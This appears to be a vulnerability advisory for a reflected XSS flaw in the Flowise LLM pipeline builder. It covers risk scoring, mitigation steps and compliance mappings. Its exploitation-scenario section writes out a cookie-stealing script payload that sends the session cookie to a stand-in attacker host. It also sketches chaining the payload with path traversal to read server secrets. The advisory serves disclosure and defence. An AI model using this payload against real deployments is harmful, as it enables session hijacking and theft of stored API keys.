CVE-2024-36423: Flowise: reflected XSS in chatflow API enables session hijack

MEDIUM PoC AVAILABLE

Published July 1, 2024

CISO Take

Flowise 1.4.3 contains a reflected XSS vulnerability in its public chatflows endpoint, where an unsanitized chatflow ID is echoed verbatim into a text/html 404 response — allowing an attacker to inject arbitrary JavaScript into any user's browser session by sharing a crafted URL. Flowise is an LLM pipeline builder commonly deployed in unauthenticated mode by default, meaning this is a zero-auth-required attack against a system that likely holds OpenAI/Anthropic API keys, LLM configurations, and internal prompt templates. With a public PoC already published, low attack complexity, and 16 total CVEs in this package, the risk profile warrants urgent attention regardless of the CVSS 6.1 rating. Until a patch is available, enforce authentication on all Flowise deployments, place the UI behind a VPN or IP allowlist, and implement WAF rules that reject non-UUID values in the chatflow ID path segment.

Sources: NVD GitHub Advisory ATLAS

Risk Assessment

CVSS 6.1 understates operational risk for AI deployments. The default unauthenticated Flowise configuration exposes this endpoint to the internet, and the public PoC dramatically lowers attacker skill requirements to near-trivial. The XSS is chainable with a path traversal vulnerability (referenced in the same advisory) to read arbitrary files from the Flowise server — a combination that could expose LLM API keys, .env files, and workflow configurations. Organizations treating Flowise as an internal tool with no internet exposure have lower risk, but any deployment accessible to external users or clickable by insiders should treat this as high severity.

Affected Systems

Package	Ecosystem	Vulnerable Range	Patched
flowise	npm	—	No patch

Do you use flowise? You're affected.

Severity & Risk

CVSS 3.1

6.1 / 10

EPSS

N/A

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ Public PoC indexed (trickest/cve)

Composite signal derived from CISA KEV, CISA SSVC, EPSS, trickest/cve, and Nuclei templates.

Recommended Action

Immediately enable Flowise authentication (FLOWISE_USERNAME / FLOWISE_PASSWORD env vars) if not already set — this is the single highest-impact control.
Place Flowise behind a VPN or restrict access by IP allowlist at the reverse proxy layer.
Apply WAF rule to reject requests where the chatflow ID path parameter contains characters outside the UUID character set ([0-9a-f-]).
Monitor Flowise access logs for requests containing script tags, event handlers, or javascript: in the chatflow ID path segment.
Audit all stored API keys in Flowise and rotate any keys that may have been exposed.
Watch the Flowise GitHub releases for a patched version — the advisory noted no patch was available at publication time.

Classification

Data Extraction Auth Bypass Code Execution Framework Agent AML.T0011.003 - Malicious Link AML.T0025 - Exfiltration via Cyber Means AML.T0049 - Exploit Public-Facing Application AML.T0055 - Unsecured Credentials AML.T0083 - Credentials from AI Agent Configuration

Compliance Impact

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

ISO 42001

8.4 - AI system technical specifications and security

NIST AI RMF

MANAGE 2.2 - Mechanisms for risk response

OWASP LLM Top 10

LLM02 - Insecure Output Handling LLM07 - Insecure Plugin Design

Technical Details

NVD Description

Flowise is a drag & drop user interface to build a customized large language model flow. In version 1.4.3 of Flowise, a reflected cross-site scripting vulnerability occurs in the `/api/v1/public-chatflows/id` endpoint. If the default configuration is used (unauthenticated), an attacker may be able to craft a specially crafted URL that injects Javascript into the user sessions, allowing the attacker to steal information, create false popups, or even redirect the user to other websites without interaction. If the chatflow ID is not found, its value is reflected in the 404 page, which has type text/html. This allows an attacker to attach arbitrary scripts to the page, allowing an attacker to steal sensitive information. This XSS may be chained with the path injection to allow an attacker without direct access to Flowise to read arbitrary files from the Flowise server. As of time of publication, no known patches are available.

Exploitation Scenario

An attacker identifies a target organization using Flowise (detectable via Shodan/Censys by Flowise's default port and UI fingerprint). They craft a URL to the target's Flowise instance embedding a JavaScript payload in the chatflow ID path: `/api/v1/public-chatflows/<script>document.location='https://attacker.com/steal?c='+document.cookie</script>`. The attacker sends this URL to a Flowise administrator via email or Slack. When the admin clicks, the 404 page renders with the injected script, sending the admin's session cookie to the attacker's server. The attacker uses the stolen session to log into Flowise, extract all stored API keys (OpenAI, Anthropic, etc.), and exfiltrate LLM flow configurations. In a more targeted variant, the attacker chains this with the path traversal to automatically read `/app/.env` from the server via the injected JS, capturing database credentials in a single interaction.